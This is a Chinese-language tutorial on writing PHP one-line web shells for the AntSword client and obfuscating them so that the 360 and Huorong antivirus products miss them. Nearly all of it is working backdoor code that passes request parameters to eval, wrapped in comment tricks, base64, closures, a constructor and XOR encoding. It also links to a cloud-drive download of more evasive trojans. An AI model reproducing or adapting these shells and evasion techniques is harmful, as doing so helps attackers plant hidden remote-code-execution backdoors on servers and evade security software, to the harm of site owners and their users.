蚁剑 php一句话木马简单免杀（编码）绕过360，火绒

需要终极思路免杀木马的可以到夸克网盘下载（可用性验证时间为2025年1月15日）

PC直接访问链接即可（链接易失效，建议保存到网盘中）

https://pan.quark.cn/s/1140e64c27ec

手机可复制下载

「php_shell.zip」，复制整段内容，打开最新版「夸克APP」即可获取。

畅享原画，免费5倍速播放，支持AI字幕和投屏，更有网盘TV版。

/~7fb03A3ffm~:/

链接：https://pan.quark.cn/s/6758acc4e395

蚁剑编码器编写------php木马免杀

网上有很多木马的免杀，侧重的是流量层面的问题，但是我的想法是木马要先免杀，能够落地，再去考虑流量层面的问题。

蚁剑能够连接的关键

存在eval函数

无论蚁剑还是godzilla,都是通过代码执行进而命令执行，所以你会看到所有的明文马儿里面都是有eval函数的，那么也就是说eval函数是无法替换的。

举个栗子

php 复制代码

// 蚁剑可以连接成功，但是无法直接拼接执行命令 
<?php eval($_REQUEST["a"]);?> 
// 蚁剑会显示数据为空，但是可以拼接执行命令
<?php passthru($_REQUEST["a"]);?>

如何实现简单免杀从而绕过360，火绒呢？

构造思路

1.加密再解密eval函数

2.更改eval写法

代码实现（示例中连接密码均为a）

参数传递 + 注释混淆 + 动态执行

php 复制代码

<?php eval("/*echo*/".$_REQUEST["a"]);?>

8 字节尾部混淆 trick

php 复制代码

<?php eval($_REQUEST["a"]."#aaa");?>

当然了，现在这种简单的肯定是不免杀的，我们要加上加解密！

base64加解密

php 复制代码

<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

条件判断（增加传递参数）+编码

php 复制代码

<?php 
 if($_REQUEST["b"]=null){
            
     eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");
 }else{
            
     echo $_REQUEST["b"];
 }
?>

php 复制代码

<?php
function a($b){
            
    return function ($c) use($b){
            
        return eval($c);
    };
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>

魔术方法（请求参数 -> 对象初始化 -> 代码执行）

php 复制代码

<?php
class test {
            
    public function __construct($b = null) {
            
        if ($b !== null) {
            
            eval($b);
        }
    }
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>

独家秘籍（这个已经可以绕过360和火绒了）

加个@！！！

php 复制代码

<?php
function xorEncryptDecrypt($data, $key) {
            
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
            
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];


$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

终极思路（chr配合ord加解密）

php 复制代码

chr((ord($c) + $offset) % 256)
chr((ord($c) - $offset + 256) % 256)